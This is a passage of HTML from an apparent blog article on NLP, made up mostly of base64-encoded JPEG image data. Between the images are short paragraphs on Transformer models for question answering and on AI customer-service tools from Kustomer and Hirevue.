/mLd\/ZKRWK38D\/AMJWSH\/+i2\/2WpE11BGlk7BrSu19tlna824SkNAnSQT8yz9EpHcn91AUjyNxPyxyFm8DF5ucyXeNvJRIvCHzERLmPoUpSWkhuN0qa2GytCx0qAI7jYM9nxFY8w20\/wAl5E2vQbZjR4tuWtZ9AhCExNnWvYU6pkZLkbn9wNKs8FZ7vvp3IWn+Qj0Rv6q7jsdGnWy4xbbKtyQy35sl8fppLx63XT91H0H8kaA32AqEYKLcubNNfVTr06dJpKMFZWVr9W+rfN9ElyI3jdoz1+6pudzy66otrYPTb5bcJTrxPoXFNMJ8vX7KVKJ9yPSp2Ngd6AAPQAUtTMxWnO3It840sFjvFhtaLi9OyC32x6MQjrcZfeCFhsrWhCV6PYqUAD61Af8AZrcXNTbdEk2q8tInwJM51wJjufCeS066tt1CHSsK6WHNEJKVaGiQd1dmW4fjWa20WfK7PEucIOJeEeSjqR1pO0q19QfSo+jhXitufDubeCWREmAyI0dYip+RoIUjp16EdK1J777EiguVkjxRPDlbEcPnYnNgwcztSHrdFd+HVJMlcjQcW6h8spaDCVr6CfMJGgCohJveLfbJLdTHYuMR11fYIQ6lRUdE9hv7H+g1Fo3DPF8NqOzGwu1toi9Hk6a7t9DyXkdJ3sdLiUqHftoa7dq3LRxfx9YbixdrNidthy4p6mnmWQlSDpadg\/uccH\/ONAS4JT6hI\/opelP7I\/oryHBrv2pPORvX31QXPfSnWuka\/dSdCP2R\/RSB0H0FIXQPY0OXPXQne+kf0UvSn9kf0V581Otmk85J\/dQ7c9dCf2R\/RSgAegArx5qdbpfNT9aA90UgIPpS0AUh9DS0lAULzlxVmmbZLcbjjYQhqXjLFpQ4JRZWHhc2n1aI7geUlff69qiD\/h2zVN9Qq1rbiQ7ddr29aHVTFKMNiRDQlgpB2R+mCzr23XUxbHqo+lYw9GIGn2zob\/N7VnlpacnxPc9jT9u6vTUo0oWsk1t1Vv0\/c5S4+8O3IrMazxcydfEePcHpMiOu6pdQFBhKUOANtt7CnB19J2ewJO6bsR8OHLTMI2\/KJTzjLmQ2p64IF2Cm5sdhbpkPgIbQpJWlaRpSlKUBonsN9fB1gjrD6OkfQjVe0BCj2cB17D2qC0dNWtc0S\/qbXT4sR9q3Lazbx88+SOW2+FuT7e5jTC7UxeItrXNYjIfvTrBtYM9bjEgFAJd\/QdKen1HYem6knh64l5HwbL8ivGbXB51E3qSlfx6Xm5ai6pQd8sNpUghJCfmUo9tegFdBBoD0NKlOjvdShpYQkpK+Civ27qdRRnRlGNpb4zvfrZb8t93nIoGhQTobpar3IbLyVdrxIbSizPWQKBZjfij8Vbo13DykMLJG\/wBVKgCPXqrSeMPs3MW3JLtux2Gq7TWleW4lpfSyyr3DruiEke6R1K\/k1jaxOVdXTIyy5GbrRRDaBbjN\/fp3tZ9O6ifsBvVasBPItsjoiQcSxFhhsdKG2rw+hKR9ABE0K2fj+UP4tYt\/Xcj+yUBJmmGWEBtlpKEJ7BKQAAPtWSor8fyh\/FrFv67kf2Sj4\/lD+LWLf13I\/slASqsTsaO8UqeZQsoO0lSQek\/b6VGvj+UP4tYt\/Xcj+yUfH8ofxaxb+u5H9koCSpjR0KK0MoSo+pCRs1k6U\/Sot8fyh\/FrFv67kf2Sj4\/lD+LWLf13I\/slASnQo0Ki3x\/KH8WsW\/ruR\/ZKPj+UP4tYt\/Xcj+yUBKqKiirjyahPUvHcVSB7m+SAP\/lK8G78kD\/xDif9eyP7LQEuoqIfjHJH\/AOJ+gP+HZHofT\/9LXo3TktKghWP4oFK9Ab5I2f\/AHWgJbRUU\/EeTv4uYt\/Xkj+yV5F15JOtWDFPm9P9vZHf\/wB1+4oB+vFpj3iL8JLKiyVoWpAOgvpOwD9t6r3MnwbNBXMuMpmNGYT1OOurCEIT9ST2AqOrm8mPAtmyYuzvsXBd5DhR9+j4ZPV+7qG\/qK2oGIMLlIut+nOXacg9TankgMxz9WWvyoPr83dfsVGgNdd5vmRuBnHISoURQ2Z85pSSr\/k2TpR9D3X0gdtBQNb9qxKBb303CS45Pn60qVJPUs\/u9kj7AAU9oQEDVeqAQAD0FLRRQBRRRQGrNV0suH0IQrRH7q4xxC584WLGbry1EemogwYtwKjcb05NRcXvielkpjEAMBAB9D9K7QfUEjrUQAkbJPsKreHznx9LVb40u5\/BO3Z9bMFp0bU+lLpaDgCd6QpYKQTrvWevCMrOUrHs9laurpoTjToqom1fd4V7rHXxva1yprrz5yHjXJVrwN9+FeJB\/QTGhDRGLri7e7KbU0nzFOKHWlDfV0hG\/l2pW9MWO+Izk\/JnWbZZslsUyVNNoSJAtTjbcV2UtwPMrQo7UWynp3sdx377q80c38RXly72hWV28qtsWQ7PQ6ooCGGj0OnZGj0k6Vr02N+tQ\/Asw8MnGtqYumH3+FDYyKQIyXZE6RJeUtvsGyp5SltoT1jSdhI6vQbrNJSck+9x5\/U9alWoxpPj0L40o2xdN5bbxhNbJLKWbkKi+Ijku3WCRPyadbAqVbo8mK9FgBCYzhluR1eYp10NpSfL6itZCUlXoewMRuHOfI18RGvVwylMRq5Ye3KZt0ZCmkuy27qph5SFpOwoISlStH0Vr09ejcl8QnGePR7ypF1Tcn7CGjMixdFSUrdQ0SFK0k9JcBV37VJsZ5Ew3LcbkZdYrqzItkNTzb73ceUpv++JUCNgj7j0IPvXeDj9lVdvvqReshp4OtLQ2Una\/LlhLhxfH7blf8Y8sX\/KuTr9i15vEFowHpLQsiLc8mRGbbWA28t4\/KUuA9Q3rexqq5znxPZrZMvzGz2NUJ1i0W+e7GbkRkoW1IjOsoAKAtSylQdJ2sJ6tbSAKulfPnE7Fqbvb2Vxmo70pUJPUlQc84AFSSjXUNBQJ2OwO61rHz\/geSX\/APArS1Ld1eFWNcpTIS0JIZLqRs9yFJQvR16p+4qbd4qPeWb++pnoezVlqJaJuCSw8JNbv3fr1bKjzHxBcj4TZ7\/bLrcrc9erTki7azMagJajyGvw5iYlB8xzpQrb\/QAOpa+g9Kd9xjj83cgWJu75YhKrhDudyjwmYpSXExpUmE0qP0e4b81R2PpXV6YyHPnISN+2t6NMuRYBjWVTrVcL7CMl2yyPi4YLriUIe1oLUhKglZHt1A69RUnRq7qfkVU+1dDZRqaVLrZ77bKytlfD0OYMz525Ot0\/OsLvbsQmFjN2cjrtqQHmX2YZcS4sdSXWfm3pfSpCiUhJBqZYPzRm0\/m8cd3hMVy1qZ6Y6Y6UuPIAjNu9b6VKDreyVDzClTSupISd10Q4yy0nqcWhI9CpWhSiKkq6+ob1rsKlGhNSu5sqqdqaSdLu1pUm4tXv+Z29rblb1MyNa2n0r1XlKegaBr1Wk8NeIUUUUOmCawZMR6OFqR5rakdSTojY1sfeotJxOe8gKadjtKDPlKS230pUN9hr\/T++phRQEPh4a8zDTDkSgttxHS+OnWwFdQ6df6a3bFj823XD4yRcnHwplSFAjQUsqB6tenbWh9jUjooAooooAooooAooooAooooAooooAooooAooooBtvlvduMVLTRRtDiXAFjaVaO9EfSo+vC5S31v\/ABaAhfWCyEfKApJB+\/fff91TKigIb\/AyUEOgSGXFrbCEqWg6Sf0fbt7J8sa+5JpxuOPOXBpv9MG32vMKHQnZHVv0PqPWpDRQEYgY5Niy2ZUict7yjsIUpRCRog6+vt61qsYQuOpBRcF7ZbDTXbs2nrbWdfvUlR39wPapjRQETfxSelp9cW6Oh0o01snsQDrZ9\/X3p2xmFNgWePFuBBfQnSyFFWz+896dqKAKKKKAKKKKAKKKKA15kdMlhxle9LQUHX0I1XP7XhkReYGPNX68rhSMYfWiO5EQC46wJBeQQ4CFIJ3ojuNe1dDKT1a7mkLaarnShU99XNWm12o0V3p5Wb\/hr92c1474UXb1ZJ8PkTIpS0upvUaDBYCOiEibL80vJcA2pRSho6PYHq9a3HPB5jjzFpU7k0lUyC88uS+IbYTKbcLZUgo3pP8Aekd+57GuiekUvSKrWlpLkbZ9vdoTk33lt8WVs7\/Pn133KQkeGqM5FvFjbzi4s2K5OpfatwjtKTHX57byyF66lAlsDR9AT61KIXEMWFjWaY7Gv81kZlOlz3JLICHYi32kNkNkfs9AIPrs1Y\/SPpQEgVNUaa2Rmn2nq6iSlPnflvjPnhfI5\/s\/hUZsMdK7NyBcIdxRNdlGYiI2raXWktuI6FlQ+YIB6iSQd05o4OuFsyiI\/b787LtcnJE5FOTISlK2XW462wlBHdXWpQJ3rXSR71dvSKQoBri09JYSLZdsa2d+Od7q2y+\/IRoEIG690g7DVLVx5g15Fa13i2rgIUlJc7FRG9D3I+9OYGhqlooAooooD\/\/Z\" width=\"305px\" alt=\"nlp examples\"\/><\/p>\n<p><p>You can foun additiona information about <a href=\"https:\/\/techunwrapped.com\/metadialog-ai-how-to-use-ai-to-deliver-better-customer-service\/\">ai customer service<\/a> and artificial intelligence and NLP. This parallel processing capability gives natural language processing with Transformers a computational advantage and allows them to capture global dependencies effectively. A. Transformers in NLP are a type of deep learning model specifically designed to handle sequential data. They use self-attention mechanisms to weigh the significance of different words in a sentence, allowing them to capture relationships and dependencies without sequential processing like in traditional RNNs. Transformer models like BERT, RoBERTa, and T5 are widely used in QA tasks due to their ability to comprehend complex language structures and capture subtle contextual cues. They enable QA systems to accurately respond to inquiries ranging from factual queries to nuanced prompts, enhancing user interaction and information retrieval capabilities in various domains.<\/p>\n<\/p>\n<p><p>Kustomer offers companies an AI-powered customer service platform that can communicate with their clients via email, messaging, social media, chat and phone. It aims to anticipate needs, offer tailored solutions and provide informed responses. The company improves customer service at high volumes to ease work for support teams. Employee-recruitment software developer Hirevue&nbsp;uses NLP-fueled chatbot technology in a more advanced way than, say, a standard-issue customer assistance bot.<\/p>\n<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src=\"data:image\/jpeg;base64,\/9j\/4AAQSkZJRgABAQAAAQABAAD\/4gIoSUNDX1BST0ZJTEUAAQEAAAIYAAAAAAQwAABtbnRyUkdCIFhZWiAAAAAAAAAAAAAAAABhY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA9tYAAQAAAADTLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlkZXNjAAAA8AAAAHRyWFlaAAABZAAAABRnWFlaAAABeAAAABRiWFlaAAABjAAAABRyVFJDAAABoAAAAChnVFJDAAABoAAAAChiVFJDAAABoAAAACh3dHB0AAAByAAAABRjcHJ0AAAB3AAAADxtbHVjAAAAAAAAAAEAAAAMZW5VUwAAAFgAAAAcAHMAUgBHAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFhZWiAAAAAAAABvogAAOPUAAAOQWFlaIAAAAAAAAGKZAAC3hQAAGNpYWVogAAAAAAAAJKAAAA+EAAC2z3BhcmEAAAAAAAQAAAACZmYAAPKnAAANWQAAE9AAAApbAAAAAAAAAABYWVogAAAAAAAA9tYAAQAAAADTLW1sdWMAAAAAAAAAAQAAAAxlblVTAAAAIAAAABwARwBvAG8AZwBsAGUAIABJAG4AYwAuACAAMgAwADEANv\/bAEMAAwICAgICAwICAgMDAwMEBgQEBAQECAYGBQYJCAoKCQgJCQoMDwwKCw4LCQkNEQ0ODxAQERAKDBITEhATDxAQEP\/bAEMBAwMDBAMECAQECBALCQsQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEP\/AABEIARsBeQMBIgACEQEDEQH\/xAAeAAEAAQQDAQEAAAAAAAAAAAAABwEGCAkCAwQFCv\/EAFoQAAEDAwIDBAUJAggHCw0AAAEAAgMEBREGBwgSITFBUdITF1dhlQkUGSIyWHGBlhWRIyRCUmKCobM0N3KSsbK0FhglNkNFVWV0deEnMzhERlNkZnZ3o6XR\/8QAHQEBAAEFAQEBAAAAAAAAAAAAAAUBAwQGBwIICf\/EAEQRAAECBAIGBggEBQMDBQAAAAEAAgMEBREGIRIxQVGR0QcTFFNhoRUWFyJVcZPSMoGSwQgjQrHwUnLhM4LxJENic6L\/2gAMAwEAAhEDEQA\/ANVSIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiIiK7\/VDur7MtVfBqjyJ6od1fZlqr4NUeRYvbpXvG8RzVdEq0EV3+qHdX2Zaq+DVHkT1Q7q+zLVXwao8idule8bxHNNEq0EV3+qHdX2Zaq+DVHkT1Q7q+zLVXwao8idule8bxHNNEq0EV3+qHdX2Zaq+DVHkT1Q7q+zLVXwao8idule8bxHNNEq0EV3+qHdX2Zaq+DVHkT1Q7q+zLVXwao8idule8bxHNNEq0EV3+qHdX2Zaq+DVHkT1Q7q+zLVXwao8idule8bxHNNEq0EV3+qHdX2Zaq+DVHkT1Q7q+zLVXwao8idule8bxHNNEq0EV3+qHdX2Zaq+DVHkT1Q7q+zLVXwao8idule8bxHNNEq0EV3+qHdX2Zaq+DVHkT1Q7q+zLVXwao8idule8bxHNNEq0EV3+qHdX2Zaq+DVHkT1Q7q+zLVXwao8idule8bxHNNEq0EV3+qLdb2Zaq+DVHkVPVFur7MtV\/BqjyJ26V7xvEKuiVaKK7vVDut7MtV\/BqjyKvqh3W9mWqvg1R5E7dK963iOaaJ3K0EV3+qHdX2Zaq+DVHkT1Q7q+zLVXwao8idule8bxHNU0SrQRXf6od1fZlqr4NUeRPVDur7MtVfBqjyJ26V7xvEc00SrQRXf6od1fZlqr4NUeRPVDur7MtVfBqjyJ26V7xvEc00SrQRXf6od1fZlqr4NUeRPVDur7MtVfBqjyJ26V7xvEc00SrQRXf6od1fZlqr4NUeRPVDur7MtVfBqjyJ26V7xvEc00SrQRXf6od1vZlqr4NUeRU9UO63sy1X8GqPInbpXvW8RzVdE7laKK7\/AFQ7rezLVXwao8ieqHdX2Zaq+DVHkTt0r3jeI5qmiVaCK7\/VDur7MtVfBqjyJ6od1fZlqr4NUeRO3SveN4jmmiVaCK7\/AFQ7q+zLVXwao8ieqHdX2Zaq+DVHkTt0r3jeI5polWgiu\/1Q7q+zLVXwao8ieqHdX2Zaq+DVHkTt0r3jeI5polWgiu\/1Q7q+zLVXwao8ieqHdX2Zaq+DVHkTt0r3jeI5polWgiu\/1Q7q+zLVXwao8ieqHdX2Zaq+DVHkTt0r3jeI5polfotx70x71VF+Y\/XPGslbpYKmPen5oT7lVVEWJruVTJU\/NMe9Vx3qmfeqda\/f5pYJj3pj3p78pkJ1rxt80yTHvTHvVUP4qoixDtPFLBUx70x706+P9iYHgnWxN54pYJ+aY96qida\/eUsFTHvTHvVUVOtfvKrYKmPemPeqpnrhV61+8pZUx70x71QkjOSEaSeqdZEtfOy85alVPzVVwMgGc9nige++bj5quS5ZHig69649wJBH4hVYQV6c6K3JxPFFXHvTHvVUXnrX7yq2Cpj3pj3qpVOvj\/YnWxN54qlgiY96qidbE3lLBUx70x71VFTrX7yq2Cpj3pj3qqJ1r95SwVMe9PzVHktxjC48wzjGCvYdEIvcrz4Bc8Jj3qo6gFF561+8qtlTHvTHvVUVOtfvKrYKmPemPeqonWv3lLBUx70x71VE61+8pYKmPemPeqonWv3lLBUx70x71VE61+8pYIqOz3Kqo7sXhD4KKeIrVW5uhdB1Ot9vK60MbZm+muEFfSOldLEXNbmMhwALc5IPaO\/pgwBsrxq60vu4Vt0\/uX+xm2e6u+aNqKWmMDqeocR6N7iXkFmQWkd3MDn6uDkLxNf4hdaH\/q0\/67Vr+1ztw+w7d6G3LtsMgt2pKOSGocC4iKugmkY7r\/J52sDgPFr8dhX2z0C4SwnjPBsWTr0tD7RFiOhQomiA++gHCztdxrF9mS5hiuo1Gm1NsSUedANDnC5tr3bls51VFqmp0\/WQaOuFDRXks\/ik9dA6WFrs9j2tIOD2ZHZnsKx54at4t8939V3eLUtbp6ktGmZWQ3KKKgcJppX+la2NjuchuDE4lxHZjoc9Ly4UN4X7q7cR011qvTX7TwZQ15P2pW4Popj73NGCe9zXflH\/AAQg\/tfdgY6\/tymGP69UudyeEm4Sw7iWn1aUhvmJMsDHuYC4ab9G7TrsW2I3KbiVEz83JRYEQhkQOJANr2F7cV9Hih3j3r2Vu9DctPXPTs9hvL3RUsM9veZ6eRjWlzXu58OBySCMeBHTJ+twq7qbu7yQXPVerrhYm2KhnfbmU9LQPZPJUhkb+bn5yAwNkA7OpPdjrZvyhGP9zej\/APvCp\/uwvt8AH+KK++7U8\/8AslItqqVForOg+DiJsjC7W5whmJoDStplt7\/6rbdaj4M3MnFLpMxT1YF9G5tqvwWTjiQCB29yxo4pd4t59lbjbbtpuvsM1iu7nQQwz0DnzwTMaC4OdzgOBGSCB3HPislyR39vcsTflCv+J2kMf9KT\/wByuR9BEnI1THMnTqjAZGgxSWua8BwORNxfUbjhktgxXGiy9Kix4Dy1zRlY+K8+1G6\/FtvDp6q1LpOfRAp6SrdSOZVUr43ueGNf0w49MPHVeOk4zNy9u9a1Ojd8tEW4GllbHPLag6OaFrgCJOVz3tlaWkEY5D29vYrp4BBnam+eP7fl\/uIVBfHJXW+t3zcygex76Oy0tNVcpzifnlcQffyPjC+lKTh3DWI+kap4InKTAErDa4texhY9lmgglwPju1rSpidn5KiQapCmXGI45gm7TmRay2C2q7UV7tlJeLXUNno62BlRBI3sfG8AtPu6EdF6+Y47VYexlpuNh2e0faLsx7KuntMAla7OWktyG\/kCB+S926VTr2i0VX1+281tZeaJhqmMuFO6WOaNjXF0YDXNIeemDkjp2denxnO0CE7EkWiScUaHWuhte4+7YOLWkkagcs10qFNuEm2ZiNN9EEga9VyrtDicpzHvWE20nFVvtuduLZtCNqNKUX7Slf6SaS2y\/VZHG6R4H8L9ohhAHiR71PnE1vFcNmNvYr1Yvmb71cK6Ojoo6thewjBdI8tDgSA1pGc9C5q3at9CmI6FX5PDMYw3TMyLtDXXAG9x0chkeCipbFElNScWebcMZruPKyl7mPiuPMe3Paom4ad3LrvLtwdSXxtGy7UldLRVbKaMsjyA17CGlxIyx7e\/xUT2bePiWvW91ZszT1ejZJrZK51ZcBbZvRRwNaHF+BNkEhwAb\/OPhlYkt0R1uNUajTYr4cOJIgmKHuIGiP6gbZjmFdfiGW6mDHYC4Rcm2Hl81dfFduDvHomTTo2obcXCrFR88+Z2v559nk5eb6juXtPgpK2Kv2rdRbT6fvmuvTi+1cMzqz5xT\/N5OYTyNbzR4HL9Vre4KDOJTfHfLZTVNNR2+5aaqLTeRNPQH9mvM0LGOA9HITJhzhzDqBg9eg7FLOy+4Gt9wth7Zr19DQV+pa2Os5IXONLTSyR1UsTASA8sHKxuSAeq3rE+D5mT6O6XMGWlgyJEAEwx3vv0tKwfdosBqOeVlFSNShxazHYIj7tF9AjIWtmM9Z\/dV1TxK7c6Q3Dg2yu77m68TVFLSj0VKHRB85aGZdnp9tuenepKudDJdLdV21lfVULqqB0IqqRwZPCXDHPG5wcA5vaMgjI7CtYurbnry7cQtVWXYW46ubqiKANaXGkZVxTtjiYD0cYmljG5PUtGT1ys6ttjxNnVUQ3Ti0WLD6B\/pP2UJfTiTH1AOY45c5ypXpN6GKbgal02p02bhiKYYiPD4g993un+U22Yz3qxQsSxqrHjQI0M6IdYWByGdtI3yWIeq90959IbwVOiZd1L9W09uvjKLnkmDTLF6VoHMAAOrTg478\/gNjB+q4gLWDvfVxUHEbqWvqCfRUuoWzyYGTysexxwO\/oCsjN5N9+JixWCHcGx6FotM6RlfGI5a1sdTXcr3YjfPHzYia\/oAOXIJAJyQF0rpc6NY2NZPDzaUIMB8WDdxcWww57msNgBrJN9QUJh2uNpsScMyXPDXZWu6wz17lllzHlzlOY4zlQZwu8QF03usdyp9R0FJTXqzPjE76QFsU8T88kgaSSw\/VIIyRkZGM4E6YBAC+N8XYTqOCavFotVZaNDtexuDcXBB3EZro9Pn4NUl2zUubtKhziV1punt1pAa52\/uNmZRW8tZcKWuonSyP53hrXxuDwBjPVpHXOc9yhDaTiE4n957vX2bSdRo6Oe30oqpTVUT2N5S4NGCHnJyQpu4uv8QWphjsFP\/fMWPXyfIzuBqnP\/AEJH\/ftX1F0c0mjP6IahiOZp8GLNS7nBjnsBvYN\/Fv1laNWpmZ9YoMlDjOax4uQDa2tXRqvid4hdktU0dp3e0Tp24UVZGZopLeZIDPGDhxjm5nty3plrmZ6jsBBWTe3W4Fi3P0hb9Z6anc6krmuzHIAJIpGktfG8dxBB\/HoRkELGT5Qa420W7R9qMjDXioqZ\/Rg\/XbFytaT+Bdj8eU+C7OHS3bsaV4X7jqXQZt0dfPdqy70tPcqd8ramkZCyNzWAObyuc+F5aT0OB\/OysfE+AaDiro8puJZaWhyM7HiCHYXZDddxbe2dtV8v7K5I1ackazGkXudFhMbfe4bday9DinMc4ysKNnuKnfLdTciz6DbVaUom3F8jnzPtsuQyON0j2tHpftFrHAe\/3Kb+JzX25e1uj4tcaHrbJ80pJWQV1NX0j5JJDI8NY+NzXtAAJ6gjvyD0IPIKx0K1+hV+UwzNxIQmJkXb73u+FzbK9jZbBLYnlJuSiT8JrixmvKx4XUz8x6fiop0HxLbdbi62m0Dp03N1zhE5JmpgyIiI4cQ7J\/LxVlaZ1\/xLX3ZOt3FloNKOrbjSuqrcwslpTRUjY5S6ocCX+le7EZYz6owMknOFibw2P3GduhTybWi0u1A6iqHNdducwGM8vOTynPN2Y\/NdJwT0CSVSo9amKxNQzFlRosLIgDGvF7l5sTYHLZqKhqpi2LAmZZkvDOjEzNxmR4Deth261ivN\/wBEXCGw6tumnrhSxPq6ert7mBznsY4tZIHNPNGTgkDB6DBCwz4Xd490dW756asWpNd3a5W6rFaZqaebMcnLRzPbkd+HNB\/EBZWaKdvSdLan9cbdOiYUr\/mH7G9Jylnon8\/Pz+\/lxj3rAXh01PLo\/eHTt\/prJWXiog+dRU9BRgGWpmlppYo2DPQDme3JPQDJ7lt\/Q7hdszgzEdIcIMd8Jlob26LhdzHH3X21XsczrCjcSTzmVORjjSY1xzBuDkRrC2lZdnp0ATJ8VhZu9xGcU21moKOXU2ndPWWjuIfLRUbYhVxSMaQHMfK2TmL28zeblLe0EYBCya2Z3Mp929vrZreCjFHLUh8VTTh5e2KZh5XgHtIz1GeuCM9V894s6Iq7hGiQMQzLocSWikNDobw4A7ifyIyvmFuNPxDK1CadJsu2I3OzhbLer55j4oHOWM2+vFvVaK1YNtdsbDT3nUXpY6WWao5nwx1EhAbCyNhDpH\/WaPtAAnHXqF4dx9c8WWzOmIte6iu2j73b2yxR11HFb3AUheQG5c0tc4cxDeYOPVw7cqQp3QhiGcgykSZiQpd01\/0WRX6L3\/IWP5XsrMfE8nCdEENrniH+ItFwFlOXHuKF\/ToVFewm\/Fk3y0\/UVlPRut12tzmsr6Fz+fk5h9V7HYHMw4I7MjBB98G8QHELv3s1rmTTf7Q0zPR1UZrKGVltfziBz3BrH80h+s0NwSOh9ywqB0N4iruIo+FQGQpyELlsRxFwMyW2Bvln8l7nMSSUpJtn83Q3bWi9vmsxec9clOZyxYdvrxDaz2to9WbY6CpZYqO3Ry3a8VjGtNRUsjBqBR0xcC5rHhw5jzc2CGgldPDFxYaq3I1czQWvqW3zVFXBJLQ19JEYS57BzOZI3JactyQWgdnUHORJzPQPieXpc3VGOhPEqXdaxjw57QNZIHhnY522K03Fci6Yhy50h1n4SQQCdwWWCIi4mtmRERERUd2Kqo7sQAuyCKL+Jr\/EHrb\/ALsd\/rtUf7Jbf23dLg4sui7uGhlbBX+gmIyYJ219QYpB72uA\/LIVy8XGsbJp7Ze\/WSvqT+0b9TfNKCmYwufM\/wBIzmIx0Aa0lxJx2YGSQD8zgu1bY7nsnadKU1Uf2rYX1LK+mcwtdGJaueSN3UYIc1w6jvBHaF9GUOJU6J0WMqsmC18OdERrhuDQL\/K+V\/yWmTXUTFeMCLmHQrEfnqWI2zusb3w872xx6jY+hjpqp9ovsGfq+hLgHP8AeGkNkaR2gDHQ9ckOCcxnUW7zoZGSMN+hLXscHNcPSVeCCOhHgR0XwuOXZmapjpt4NP0oe+PlorzFGzLizsinx34P1Hf5TD3Fd3yecEkNt156aNzQai245mkfyKjxXfcf4go+OuimbxdK2bNRocKHFGV9JkRpzGvLOx2ghalR5OZpNfh052cNpc5p8CDl\/m1d\/wAoV\/xa0b\/2+p\/uwvt8AXTaO+n\/AOZ5\/wDZKRWXx8atsl4l07oy2VTqm62qeaorYY43EQNfG3kDnYxk5zgZ6Dr2jPzeE\/fzb3aPb666d1pNc4K2qvctdG2C3yzNMToIGA5aOh5o3dFrTqDUKt0BytLkYRfHdEDgwW0tHTJvb5ZrME1Bl8XPjRXWaG2vs1BZqVl4tVBU09LX3Olp5qt3JBFLM1j5XZAw0E5J69yxb+UIOdG6QP8A1pP\/AHKsG\/7us3z4oNA1lmtdbS2S03OmgpPnUXLJJ\/CB8krmjIbnlAAznDRnBJAuXj81XZ7hHprRVBO6oudBUzVtZHGwkQMdG1rA4+LskgDP2TnGQtX6NejiZwJjygvjm8aJDdEiNy\/l\/iABN\/lrUjWq2yqUmbDBk06LT\/qOWpW3wtbS601\/oK6XHTm8moNI0sV1fTyUluLgyV\/ooyZCQ9vUhwH9UKbNveDPb7SeoGau1ReLlq66xyenabhytg9LnIkcwZMjgezmcR34zgiyeA3Wen6PTl30BW1nze9VF0fXU9PJG5pmhMLAS0kYJBjdkdoGD3rLjl96iunHpGxVQsX1GlycfqpeIRbQa1pc3RH9YAcRfxV\/C9FkJqnQZiMzSeN5ORvu1BU6Z6DHcqEZyD+494XPl96pye8r5ebGc2IIt873\/wA8VvJbcWWtHWtul2A4mZp4sso7Te47nTFoP+BTOEnKPHlY8xnxLSpo4h7HX797u3LSNimfLRaB0pUXP+B+s19ZK1r2Rg\/zngRADwa4rw\/KBaNbT3LTW4MMeGVLX2ipk7AJG5kiB\/Fvpf8AMUi8D2lqq2bZ1ut7m+Sau1RWA+llPM91PTAxRDJ7QD6THuK\/QOrYzprMFUrpMuDOwofZ27TpkgOJ8Wta63zXI4FNj+k5ihgWhOOmT4Zm3EhQvwO7k2\/R1+1dbb5XCG1T2k3dz3HIjNIHOeQPfG9xPjyNCmfg+07W3uk1TvlqCAtuOtLlK6la4ZMVIx5\/0vJHvETT3rEbcbb67ad3yvW2Wl2OZU191dRW6FjywPhqXAxsP9DleGnPTAOVst0Zpmh0XpS06Sth\/i1qpYqVrsY5ywAF2PEnJ\/Na1\/ERU6ZSqe6p0t38+rthl9tkOGL\/AP6JaD8is7B0GPHjCWjg6EsXW8SeX7rEb5Qgf8MaLP8A8PW\/60Sm3g4OOHLSf+VcP9vqFj3x46ptN\/1rYtO2Wd1VVWKnqG3AMjcRDJIYy1hPYThuSB2ZCm3gp1TaLjspbNK09R\/wnYJatlbA5hDo\/S1U0sbhntBa8dR3gjuUPjaVjjoHo0JzfehxA5w2hpMSxI3Zjir1Le31smH3yc2w3X93LyWJepv\/AEtq3\/7hAf8A7ELZmM5WtjiJ03qDbHiBueqaq3ymkqr2y\/W+pc0iGYukExYH+IfzNI7emexZbbacUFNufcRNaNu77QacpKKarut8uDo2U9IWM5sNLSRI3o7JBDumeXtWd084fncW4coVUo4EWDCgAOcHNyOi3LM69lhndW8JzMOnTs3Ambtc5+QIO85\/LxWG28sbJeJe\/wAUjQ5j9Sxtc0jIIMkeQVm\/xZxMl4e9ZsfG0gU1O4dO9tVER+4jKwL3Q1JRXreu961s0c1Tb5b588gf6JzfSxtkaQRkZ68vTp2ELNDil3J0jceHa4VFsuYqRqyKCK0tYx3NUATxuecYy3la1xOe8Y7Sto6SafOxKlgtsAH+X1YdbOzh1ZN92QPBYFDfDbAqhdtuR469SiH5PbB1RrL30FIf\/wAkizeHYFgVwJ6ptGmNf3qzXuodST36kgp6AyRuDZZmSH+DzjoSH9M9uFnpz9AVwz+KaC\/2gxpi3uvZDsdhs0A+eS2rATh6Ght2gnL81DvF3\/iC1N+FP\/fMWIPChoLUu4Gq75btM7j3bR81NbGzS1NuyHzsMobyHDm9MnPb3LKHjP1nYbTtFcNKVNXm7XoxCjpWtLnyNZK0vf06BoHeSO0YWPnA\/q2y6O3Nr6TUlSaE36gjt9E6WNwa+oM7OWPOMAuyQM9\/TvXW+iaLP0roUqceUb\/O03uYCA64s3MNNwRkdmxa9XxBmMTy7Yh90CxsbWOe0W\/uputvBNpqu1A3Ue5mv7\/q+cOaXsqZDH6YD+TJJzOkLevY1zT71kVQ22gtduhtNvo4aeip4mwxQRtDWMjAwGho6AAdy9DR0Tpgr5JxLj\/EOK3QvS0yXthfgaAGtb8mtAA+drroUlSJKn6RlmAF2s6yfmSSVrS1fQVXDzxKyzxBzKSz3llxpXNB+vQynnwPHEb3MPiWuWR\/EZWu3i3M0PsHZqnntlS9t9vb4Xdfm4aeQcw7B6P0h\/F8Z7QrV4\/tBnOnNxqOncWkvtNa9rc8pIMkRPu6Sjr7vFXNwP6HrXafr92NRvkqrjdmR2m3TzEudFQUwbGGtJ7i6NoPj6JvfnP2ViHENMqWCad0lxnAzkvBdBaN8YjRB\/7M3Bc2k5OYl6pGoTR\/Ke4O+Tddvz1Kf9b09PR7d3+lo4I4aeCy1UMUUbeVrGNgcA0DuAAxhYHcD+PXpRDP\/NVX\/oathF9tbb1ZLjZ3S+ibX0s1MX4zyB7C3Pvxlaz9q9U3Xhr3kguWtdO1gdb2zUVbSMAbK9jgWl8XPhruoaQcgOA7RlaT0BOfiDBuJKTCcHTUdt2tJALiQdV\/FSWLmiUqUlMOFobTmdg1LZbqTppy6\/8AYp\/9Ry1w8HrWu4itIBzQf8PIz4\/MKhZf0PERSaj291TrLUOirvpbTsNOYLXV3INEtxkfG4